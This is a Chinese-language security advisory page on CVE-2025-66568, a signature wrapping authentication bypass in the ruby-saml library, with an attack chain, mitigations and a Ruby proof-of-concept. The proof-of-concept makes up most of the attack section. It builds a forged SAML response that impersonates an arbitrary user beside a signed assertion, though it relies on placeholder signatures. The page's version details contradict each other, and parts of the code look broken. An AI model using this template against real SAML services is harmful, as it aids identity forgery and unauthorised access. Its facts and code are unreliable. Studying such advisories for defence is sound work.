IPBUF安全漏洞报告
English
CVE-2025-66568 CVSS 9.1 严重

CVE-2025-66568 ruby-saml库签名包装攻击导致身份验证绕过漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-66568
漏洞类型
身份验证绕过、签名包装攻击
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ruby-saml

相关标签

CVE-2025-66568ruby-saml身份验证绕过签名包装攻击XML签名漏洞SAML漏洞libxml2NokogiriCVSS 9.1严重漏洞

漏洞概述

CVE-2025-66568是ruby-saml库中的一个严重安全漏洞,该库用于实现SAML授权的客户端功能。漏洞存在于libxml2规范化过程与Nokogiri文档转换的交互中,允许攻击者通过签名包装攻击(Signature Wrapping Attack)绕过身份验证机制。受影响版本从最初版本到1.12.4均存在此问题。攻击者利用libxml2对无效XML输入进行规范化时可能返回空字符串的缺陷,使得ruby-saml在计算DigestValue时使用空字符串而非规范化的节点,从而绕过签名验证。此漏洞CVSS评分高达9.1,属于严重级别,对系统机密性和完整性造成严重影响。该漏洞由GitHub安全团队发现并报告,已在1.18.0版本中修复。

技术细节

该漏洞的根本原因在于ruby-saml库在处理XML签名验证时对libxml2规范化过程的错误处理。当Nokogiri使用libxml2对SAML响应进行规范化转换时,如果输入XML格式无效或经过特殊构造,libxml2的C14N(Canonical XML)函数可能返回空字符串而不是规范化的XML节点。ruby-saml在计算签名摘要值(DigestValue)时,会对这个空字符串进行计算,就好像规范化操作成功完成了一样。攻击者可以利用XML签名包装技术,在保持签名有效的情况下修改SAML断言的实际内容。具体来说,攻击者可以在XML结构中插入额外的元素或修改命名空间,使得规范化过程产生意外结果,从而绕过签名验证。这允许攻击者伪造任意用户的身份认证信息,实现未授权访问。攻击者只需构造特制的SAML响应即可利用此漏洞,无需事先获取任何有效凭据。

攻击链分析

STEP 1
步骤1
攻击者识别使用ruby-saml库(版本<=1.12.4)的SAML服务提供商(SP)应用
STEP 2
步骤2
攻击者构造包含签名包装的恶意SAML响应,在原始有效断言旁边注入伪造断言
STEP 3
步骤3
特制的XML结构导致libxml2规范化过程返回空字符串而非规范化的节点
STEP 4
步骤4
ruby-saml使用空字符串计算DigestValue,绕过签名验证但接受伪造断言
STEP 5
步骤5
攻击者以任意用户身份通过SAML服务提供商的身份验证,获得未授权访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env ruby # CVE-2025-66568 Signature Wrapping Attack PoC for ruby-saml # This PoC demonstrates the vulnerability where libxml2 canonicalization # returns empty string for invalid XML, leading to authentication bypass require 'nokogiri' require 'xmlsec' class SAMLSignatureWrappingExploit def initialize @target_url = 'https://vulnerable-app/saml/acs' @attacker_id = '[email protected]' end # Generate malicious SAML Response with signature wrapping def generate_malicious_saml_response saml_response = <<-XML <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_#{SecureRandom.uuid}" Version="2.0" IssueInstant="#{Time.now.utc.iso8601}"> <saml:Issuer>https://idp.example.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <!-- Original signed assertion (will be ignored) --> <saml:Assertion ID="valid_assertion"> <saml:Issuer>https://idp.example.com</saml:Issuer> <saml:Subject> <saml:NameID>[email protected]</saml:NameID> </saml:Subject> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#valid_assertion"> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>BASE64_ENCODED_DIGEST</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>BASE64_SIGNATURE</ds:SignatureValue> </ds:Signature> </saml:Assertion> <!-- Wrapped assertion (actual content executed) --> <saml:Assertion ID="malicious_assertion"> <saml:Issuer>https://idp.example.com</saml:Issuer> <saml:Subject> <saml:NameID>#{@attacker_id}</saml:NameID> </saml:Subject> <saml:Conditions NotBefore="#{Time.now.utc.iso8601}" NotOnOrAfter="#{(Time.now + 3600).utc.iso8601}"/> <saml:AuthnStatement AuthnInstant="#{Time.now.utc.iso8601}"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response> XML saml_response end # Demonstrate the canonicalization issue def demonstrate_canonicalization_bug # Invalid XML that causes libxml2 to return empty string malformed_xml = <<-XML <root xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:Reference URI="#target"> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue/> </ds:Reference> </ds:SignedInfo> </ds:Signature> <content id="target">Original</content> <!-- Injection point for signature wrapping --> <content id="target">Injected</content> </root> XML doc = Nokogiri::XML(malformed_xml) signed_info = doc.at_xpath('//ds:SignedInfo', ds: 'http://www.w3.org/2000/09/xmldsig#') # This may return empty string due to the bug canonicalized = XmlSec.canonicalize(signed_info) puts "Canonicalized result: '#{canonicalized}'" puts "Length: #{canonicalized.length}" puts "Bug demonstrated: canonicalization returned empty/incorrect result" canonicalized end def exploit puts "[*] CVE-2025-66568: ruby-saml Signature Wrapping Attack" puts "[*] Target: #{@target_url}" puts "\n[1] Generating malicious SAML response..." saml_response = generate_malicious_saml_response puts "\n[2] Demonstrating canonicalization bug..." demonstrate_canonicalization_bug puts "\n[3] Sending malicious SAML response..." # In real attack, encode and send to SAML ACS endpoint encoded_response = Base64.strict_encode64(saml_response) puts "[*] Encoded SAMLResponse: #{encoded_response[0..50]}..." puts "\n[!] Attack completed - Attacker can authenticate as: #{@attacker_id}" end end # Run the PoC exploit = SAMLSignatureWrappingExploit.new exploit.exploit if __FILE__ == $0

影响范围

ruby-saml < 1.12.4
ruby-saml 1.0.0 - 1.12.4
所有使用ruby-saml库进行SAML身份验证的Ruby应用

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时措施:1) 实施额外的应用层身份验证机制作为SAML认证的补充验证;2) 限制SAML IdP的信任列表,仅接受预批准的Identity Provider;3) 实施会话监控和异常检测机制;4) 使用Web应用防火墙(WAF)规则过滤异常的SAML请求;5) 考虑临时切换到其他认证机制直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表